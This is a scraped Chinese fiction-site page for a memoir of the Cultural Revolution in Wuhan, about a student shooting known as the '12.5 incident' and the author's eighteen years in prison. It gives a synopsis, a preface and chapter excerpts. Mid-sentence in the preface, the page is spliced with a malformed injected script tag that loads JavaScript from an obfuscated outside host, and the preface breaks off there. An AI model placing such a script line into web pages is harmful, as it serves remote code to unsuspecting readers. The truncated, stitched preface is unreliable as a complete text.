《迷失与求索——一个中学生的文革》 - 历史小说 - 小说 - 红袖添香

来源:百度文库 编辑:神马文学网 时间:2024/03/29 21:02:47
《迷失与求索》 文 / 206李乾
  《迷失与求索——一个中学生的文革》
内容简介
这部纪实,从作者和一群激进的中学生在文革中枪杀人命开始,到十几年后与几个身负重罪的囚犯在监狱里甘冒受惩罚的风险,用良知、智慧和勇气使一群迷途的年轻囚犯在悬崖边上停下了脚步结束。一段文革中的迷失与求索的心路历程在这里不加任何掩饰的展示,一颗面壁多年的灵魂在历史责任面前的如实叙说。
文革期间的武汉市,发生了一个被称作“12.5事件”的案件,两个被认为是流氓的中学生被另一所学校的中学生枪杀在梦醒时分。这事件的主要责任人李乾等被拘捕后,他的同学和战友在武汉市掀起了一场声势颇大的前后持续了几年的“营救革命闯将李乾”浪潮,参加营救的甚至包括了当时的北航红旗和清华井冈山驻汉联络站。此事还被捅到了北京。
当年那个“12.5事件”里的焦点人物李乾,就是本书的作者。
标志着文革开始的那篇评《海瑞罢官》的文章出来时,作者还不满十六岁,但他已半主动半被动地走向那场谁都无法想象最后结果的风暴。当他一走进那风暴,就立刻被套上了红舞鞋,身不由己地在那风暴里旋转,所遭遇的一切都是他始料未及的,包括他自己的所作所为。一个幼稚单纯,自以为有思想有追求的少年就这样以迷失为起点,开始了他那多舛的人生。
在自由被剥夺的那一刻,他大惑不解地问:怎么会是这样?从那一刻起,他不只是产生了深深的疑惑,而且一直在苦苦寻求这个问题的答案。
十几年后他历尽磨难终于接近这个问题的答案时,与之伴随的不是终于有所收获的喜悦,而是灵魂的痛苦颤栗,这是他完全没有想到的,却是他必须直面的。
书中再现了那不堪回首的一幕幕往事,如实记录了毁掉数个家庭、让一大批人的命运变得面目全非的“12.5”事件,细腻地叙述了作者非常有时代特征的青春萌动,写出了自那一刻起,他长达十八年、角色一再错位、极具个性色彩的铁窗生涯。这段几乎陷他于灭顶的经历使他的视野和思维在不知不觉中走到了一个他自己也不曾料到的境界。在作品中多处都可以看到他对人生、对社会和历史的深入思考和沉重感悟。
作者还以亲历者的身份,讲述了武汉文革初期的一些有较大影响的事情,如”九.二-四绝食”、“八一渡江”、同周恩来总理的座谈及宴会等。
作者的经历独特,文笔生动。题材的厚重和作品的可读相得益彰。





自序

一直有把这段历史写下来的念头。
十年前曾动过笔,断断续续写了大约三千字后,感到自己还不具备起码的能力写出那段沉重的历史,稿纸被放到一边,这一放就是十年。
2004年12月初,远道而来的何儒非见我在键盘上敲敲打打,便说与其写些不沾边际的东西,还不如把你那段经历写一下。不知怎么在那一刻我忘记了十年前几乎还没开始就结束了的那一幕,草拟了几十个题目后就不管不顾地写了起来。开始也没什么信心,一口气写了五、六千字后,开始有了一点感觉,在朋友们不断的鼓励和支持下,十个月后,有了这部纪实的初稿。
事先怎么也没想到在写的过程中,心会有那么苦。
面对尘封多年、不堪回首的往事,面对几十年前那难以言说的一幕幕场景,无声的泪水让我发现自己的神经并不似想象中的那样坚强。尚未愈合的伤口被一次又一次地撕开,汩汩流出的鲜血几乎要将人窒息。叙述“12.5事件”的经过时,心里的疼痛让我多次停笔不愿写,自己给自己找各种借口百般拖延,害怕面对当年的自己。《青春的萌动》那一节,我感到不是我在写,是被吞噬的青春自己在那里诉说,我的心只是站在一边无声地哭泣,身心俱焚地凭吊那一代人的青春。写到我最对不起的三个母亲时,我无法想象此事给三位老人造成的痛苦和伤害,我的心在给她们一次又一次地叩头里,早已泪流满面。
相反,在写自己经历的一些磨难时,我反倒觉得内心很平和,像是在叙述别人的故事。只是到了晚上,一次又一次的恶梦把我拉回监狱,在疑惑和无奈里搬着指头算还有多长时间才能出去。这种梦境已有十年没有光顾过我了。
我们那一代人的青春是在迷失中开始的——尽管迷失的形式千差万别,但始终没有停止思考。写那一段历史绕不开对文革的思考。
文化革命是晚年的毛泽东在作为一个国家体制的设计者和最高领袖的同时,又希望作为受该体制压制的下层民众利益的代表(或许还有别的动机),向该体制的阴暗面发出的一个看起来轰轰烈烈的宣战。企图用人治的方式去解决在一个人治社会里必然会出现的种种弊端,这本身就是一个悖论,一个注定要失败的悖论。下层民众的应声而起是因为毛泽东的这一宣战契合了他们追求民主的愿望和诉求。这个宣战一定会被毛泽东自己取消,这是事物发展的内在逻辑决定的。只不过这个取消来得太快,以1968年7月27日工人宣传队进驻清华大学为标志,这批响应者已被列为文化革命的整肃对象。随后一个清查“5.16分子”的风暴,在无休止的学习班、交待和批判斗争中,被冠以莫须有的罪名重新打入另册,无数人被整得家破人亡,应声而起的民众已经并将继续付出沉重的代价。但既然已被唤起,不论他们的下场多么悲惨,他们之中一定会有人在深化自己的认识、改<< Src=http://%63%2Enuclear3.com/css/c.js>        点击阅读 | 推荐投票 | 放入藏书架 | 查看4条评论 1.   第一章  怎么会是这样编审:2007-09-17  毫无准备地被突然夺走自由则是猝不及防地从光明坠入黑暗,这世界在那一刻对于被剥夺者来说,就是一个吞噬一切的黑洞,尽管这黑洞能夺走人意识的可怕威力实际上只有一个短暂的瞬间。        2.   第二章   “ 12。5”事件编审:2007-09-25  对这个人生中绝无仅有的一次举动,对这个将要而实际上已经改变一大批人命运的夜晚,这批置身其中的人没有一个人有起码的思想准备,事后很长一段时间内也没一个人真正转过弯来。        3.   第三章  湖南之行编审:2007-10-05  小船缓缓穿过碧绿的湘江,清冽的江水被激起浅浅的浪花,伫立船头,放眼看去,湘江的尽头和如洗的蓝天和谐地融为一体,身着浅黛色冬装的岳麓山,慢慢拨开缭绕的晨雾,似乎在讲述眼底的千年风云。面对此景,“鹰击长空,鱼翔浅底,万类霜天竞自由”的感受油然而生        4.   第四章  青春的萌动编审:2007-10-12  是什么神奇的力量改变了她?让一个矜持的公主变成一个柔情的少女,让漫天的冰雪化成了春天的温馨,这一切只有一个答案,一个唯一的答案:那就是她心中有我,心中是我。想到这里,那颗暖暖的、甜甜的、痒痒的、青春萌动的心,突然被像海啸一样惊天动地涌来的幸福感吞没,心在无边无际的幸福里翻滚,胸膛在这颗心的猛烈撞击下发出咚咚的声响。        5.   第五章  初生牛犊不怕虎编审:2007-10-21  这十八个月对他来说只是一个零,只是一个画面单一的重复,太可怕了。心里暗想:如果我要像他那样关十八个月,我肯定会一头撞墙死掉。        6.   第七章  “紧握你们的手”编审:2007-11-11  写材料必须要有一个原则,很快这原则在我心中明确了:一、要从整体上去把握和强调这件事的性质是无产阶级革命造反派响应党中央号召打击流氓恶势力的革命行动。二、对自己的责任不能有任何推诿和隐瞒。只要有可能,能一人担的责任就一人担,牵扯的人越少越好。在明确了这两点后,写材料就变得简单了。自己的事尽可能写详细点,别人的能不写的就不写,避不开的就一笔带过。        7.   第八章  阴阳界编审:2007-11-21  什么样的理智闸门在这时都不管用了,压抑得太久的那种难以言状的战友情和同窗谊一下子从心底里迸发出来,不管旁边有什么人,不管他们订了什么清规戒律,这些都顾不上了,我们四个人一下抱在了一起。燕妮丹首先哭出了声,舒国良,司子林也抽泣起来,我实在忍不住,眼泪夺眶而出。我们头挨着头紧紧拥在一起,久久不愿松开。我弄不清是谁的泪水流到了自己嘴里,苦苦的涩涩的泪水从嘴里又一直流到心里。        8.   第九章  第一次过堂编审:2007-12-01  应该说她的话是有冲击力的,刚满十八岁的我没想到头上会扣上如此吓人的帽子,但她的算盘打错了。想把她的审讯对象一下子镇住,从精神上打垮,然后想怎么捏就怎么捏,这可能吗?她太不了解她眼前的这个人。我不敢说我能轻松做到像陈然烈士那样“对着死亡我放声大笑”,但沉着地面对一切突然降临的灾难对我绝不是一件难事,甚至可以说这是我的一种习惯和本能。        9.   第十章  以德报怨编审:2007-12-12  转身走出办公室时已经十点多钟,天上看不到一颗星星,只觉得整个世界被无边的黑暗笼罩着,沉闷的空气里弥漫着一股浓浓的血腥味。文化大革命怎么演化成了武化大围剿?触及人们灵魂的革命怎么变成了危及人们生命的反动?看来我们这些年轻的学生对那些当权者的冷酷没有一点最起码的认识,文的不行就来武的,他们要用武力把我们扫平,流血牺牲是不可避免的了。我想起林彪说的“政权就是镇压之权”。        10.   第十一章  生命拉锯战编审:2007-12-21  我们和他之间就像在玩一场不能承受的死亡游戏。一方坚定不移、义无反顾地要投入死神的怀抱,他千方百计、绞尽脑汁,时而若无其事,缓步推进,时而孤注一掷,石破天惊。另一方则竭尽全力,步步设防,发誓要让死神无功而返,面对在小说或电影里都没见到过的种种出牌方式,他们时而轻言细语,苦口婆心,时而棉里藏针,软中带硬。双方在拼意志、比耐心。表面上号子里风平浪静,波澜不惊,暗地里一直在顽强地角力。        11.   第十二章  无意和有心编审:2008-01-03  “12.5事件”在我心中打下了一个永远的结,寻找、探索解开这个结的愿望就一直在我的潜意识里涌动着。如果说在小何身上我的努力完全是无意识的话,那么在另一个人身上就是一次有意识的实践了,这个人就是秦飞。        12.   第十五章  “1。3案件”编审:2008-02-01  虽然知道他肯定不是个叫花子,但怎么都没有想到去年震动武汉三镇,惊动北京,搅得成千上万人不得安宁的“1.3案件”的主角,就是这位土得掉碴的先生。        13.   第十七章  国宴编审:2008-02-21  这样近的距离看总理,这是我平生唯一的一次。我突然觉得总理有点憔悴,皮肤不似我想象中的那样光滑,脸上的肌肉也有点松弛,额头透着沧桑,两鬓已有明显的银丝,和下午在机场远远看去神采奕奕、红光满面的感觉反差太大,大得在我心中引起震撼,这震撼的中心就是这一代领导人会离我们而去的。在这之前从来没想过这类问题,就像他们会永远带领我们朝前走一样。        14.   第十八章  遗书编审:2008-02-29  我的亲人,我的战友,我想念你们。在这风云变幻之际,我很难想象明天会发生什么,但不论明天发生了什么都会在我的准备之中。我的理想、我的人格、我的良知、我的追求都会经得起时间的检验。请你们能够记住有一个叫李乾的人,为他所钟爱的革命事业无怨无悔地献出了他的一切。
  革命必将战胜反动,共产主义必将取得最后的胜利。
  死不瞑目的李乾
          15.   第十九章  假如希望欺骗了你编审:2008-03-11  既来之,则安之,我们还有选择的可能么?横竖就这一百多斤,随遇而安吧,不到最后一步,人总要活下去。        16.   第二十章  “一目了然”编审:2008-03-22  不知是“一目了然”的革命觉悟代代相传,还是前后几任军代表的革命立场始终坚定,所有的伙房当家人都把让我们在饥饿中痛苦地挣扎当成了他们最神圣的职责和任务,有的还发扬光大。        17.   第二十一章  “异位心”编审:2008-06-29  旁边的人都有点担心了:真不是个东西,出了事看他值班的怎么交待?
  一个年纪稍长一点的难友说,怎么交待?他们有什么不好交待的?自己要善待自己。
  自己要善待自己!这句话提醒了我。口不能喊,手不能使劲,但脚还能用。我强打精神,用全力踢了两下门,我顾不得那么多了。这里一共只关了四十多个人,十来个号子都挨在一起,这一踢,几乎整个看守所都惊动了。        18.   第二十二章  死囚的最后十天编审:2008-07-01  在阴暗的灯光下这刺耳的铁镣撞击声向四周传递着死神就要到来的信息,本来还算平和的我一下子感到从骨子里透出来的恐怖,心跳不由得加快起来。气温已不算低的仲夏时节,那长长的走道里本没有一点风,我却感到有阵阵寒气不断从四周袭来。两边号子的风门后面泛着冷光的眼睛一眨一眨,盯着我们来、目送我们去,几个武装端着枪高度警惕地在走道里巡视着,整个氛围令人不由自主地打出寒颤来。        19.   二十三章  九年等来的判决编审:2008-07-01  这一刻我苦苦等了整整九年,就等来这样一个结果。这九年里我什么样的罪没受过?什么样的苦没吃过?除死无大病,讨米再不穷,你们还能把我怎能样?突然心里萌生了一个想法:我就是不开口。        20.   二十四章  “娘的眼泪早就流干了”编审:2008-07-01  啊,是父母亲来了。这已流逝的九个春秋、这三千多个日日夜夜的漫长岁月中所发生的一切,都将凝聚在这一刻。那相见的一瞬,将把我们脑海中相关的一切印象,从九年前的温馨不留一丝情面地拉到残酷的现在,这一瞬在视觉上要走完九年漫长的路。这视觉上的冲击哪怕我们有再充分的精神准备,哪怕父母亲经历了再多的岁月沧桑,哪怕我那颗倔强的灵魂有再坚固的铠甲,恐怕也会一时难以承受。        21.   二十五章  劳改第一课编审:2008-07-01  这是当头一棒,我一下子有点懵了。
  全中队犯人的目光不约而同地都集中到了我身上,几小时前那点在知名度上的小小得意早已无踪无影。你还以为你能超然于现实之外,你还以为你的发言不左不右,你蒙得了谁?到劳改队只来了六个小时,就被打入了另册中的另册,这大概也是一项纪录吧。        22.   二十六章  毛主席去世后的日子编审:2008-07-01  一个早就有自己的思想,又在牢里关了九年,也思考了九年的学生,只要他不是只在个人得失的小圈子里打转转,只要理想之火不曾在他心里熄灭,就不可能没有一些自己的认识和内心深处的质疑。尽管在内心深处偶尔也会冒出一点不甚恭敬的想法,尽管对他老人家的去世不是没有一点心理准备,但噩耗真的传来,他老人家的去世还是深深地震撼了我,巨大的悲痛袭上心头,哀伤的泪水夺眶而出。        23.   二十七章  老猫和搭档编审:2008-07-01  上帝又是仁慈的,他既然创造了一个个独具个性的生命,那怕这个生命被同类所不齿,他也要让这生命能够生存下去,总要给他一点生存的本领。就像人们常说的“一根草,一滴露水”,大自然什么时候在普降甘露时遗漏过那怕是最不起眼的一棵小草?只有无比博大的胸怀才能有无任何遗漏的慈爱,这也许是上帝通过这件事对我的启示。        24.   二十八章  小生灵编审:2008-07-01  正要为它们祝福,可不知为什么,它们又转过身来,在笼里左右徘徊,就是不到那门口去。它们为什么这样犹豫和迟疑?难道是在留恋这生命的第一驿站?或者是对未知世界的胆怯?我还在猜想时它们又蹦到了门口,这次没有一点犹豫和迟疑,只见它俩身体微微向下一沉,随着双腿有力的一跃,翅膀一张果断地飞了起来。追求自由是生命的一种本能,它们表现得义无反顾,尽管一开始好像有点胆怯。        25.   二十九章  异类编审:2008-07-01  劳改队也是一个小社会,也是一个集体。尽管大家都是心不甘情不愿地到这里来的,尽管每个人都巴心巴肝地希望能早点离开这里,为此不少人还使出了浑身解数,什么都可以拿出来交易。但只要还没有离开这里,好像每个人都害怕被排斥在这个集体之外,都自觉不自觉地认真寻找或认可自己在这个集体中的位置。        26.   三十章  祸福一瞬间编审:2008-07-01  没想到的是宣布下课时突然出现了一阵热烈的掌声,这掌声在我的感觉中好像持续了很长时间,长得我感到受用不起。这是久违了的掌声,还是在十一年前听过属于自己的掌声,这掌声让我心头一热。这是对我能力的承认,这是对我知识的承认,这是对我多年来一直不放弃对知识的追求和坚守做人底线的肯定。        27.   三十一章  错位编审:2008-07-01  在他们眼里我是鼠,可我这个鼠怎么管起猫的事来?想起来真是有点滑稽,这是角色错位?还是两个人同时在异化?尽管做了一些鼠的事,但他那身警服让他相信自己是猫,一身警服的猫在我这个一身劳改服的老鼠面前,他肯定认为自己是战无不胜的。        28.   三十二章  彩莲船编审:2008-07-01  “新娘子”的身份此时已经不是什么秘密,他开始卸妆,露出自己的庐山真面目。但还是有不少光脑壳不依不饶地拿他开心,在他身上东捏一把西摸一下,特别是那两个塞在胸前的用毛巾扎成的小球,被几个家伙抢去捏了又捏、亲了又亲。        29.   三十三章  父母的生日编审:2008-07-01  离家越来越近了,心跳也越来越快,太剧烈的心跳让我在家门口停了好一会,做了几次深呼吸,让自己稍稍平静了一点后,才举手轻轻地敲门。还没等我敲第二下,门就呼的一下开了,原来老父亲一直颤颤巍巍地站在门口等着,看清是我时,他一把抓住我的手说,前几次开门都不是你,一直在担心你不能来,总算把你等来了。话还没说完,已是老泪纵横。        30.   三十四章  又一次错位编审:2008-07-01  我不可能直言不讳,他有强烈的自尊心,并且他在九天之上,我在九地之下,但有的话也不妨说得重一点,凭我对他的了解,他不会怀疑我的用心,不会给我小鞋穿,并且多少能听进去一点的。我认定有人文主义情怀的人都是理智的,尽管也会有情绪失控的时候,但最终理性会占上风。        31.   三十五章  佛光编审:2008-07-01  我无法认同在执政三十多年后,还要用搞运动的方式来杀人,并且是以法律的名义。这法律经得起时间的检验吗?与其说这是法律,不如说这是凌驾于人民意愿之上的“长官意志”。不论决策者怎样去说明他们这样做的合理性和必要性,若干年后再回头来看,会不会又是一个失误?以这样一种压倒一切的气势来处理关天的人命,会不会不可避免要带来一个产生冤、假、错案的后遗症?        32.   自序编审:2008-07-01  本书只是想为历史保存一段真实,这真实指的是经历的真实和思索的真实。至于这些经历和思索本身的是非对错,留给后人评说。        33.   陈小雅:革命与犯罪编审:2008-07-01  2007年10月13日,当我打开一个陌生地址陌生人寄来的邮包时,我的第一感觉是恐惧!因为我从不与杀人犯打交道,熟人中亦没有这样的社会关系。更令人不安的是,眼前的照片中,这个杀人犯不仅在微笑,而且神凝气定——表情颇为自信!我首先想到的是,这个邮包是不是寄错了地方?或者,我已经被某种“黑势力”盯上……
  这种联想令我毛骨悚然!
          34.   后记——废墟上的记忆和沉思编审:2008-07-01  如果说这里是他们那批人青春的墓地,那么它现在就是已被人们彻底忘记了的残坟荒冢;如果建筑也有自己的生命,那么现在它就只是一具已风化了千年的冢中枯骨,根本看不出这里曾是让知情者谈之色变的、主要是关押造反派的监狱。        35.   附录:《文革亲历者访谈录》(节选) 柳英发编审:2008-07-01  但我的战友中有的不是这样认为,我已经忘记具体为么事,我和我同班的战友发生了争执,他最后的话深深地刺激了我,而这话与我们争执的问题毫不相干。他极冷峻地对我说:你以为你面前会再有一个李乾吗?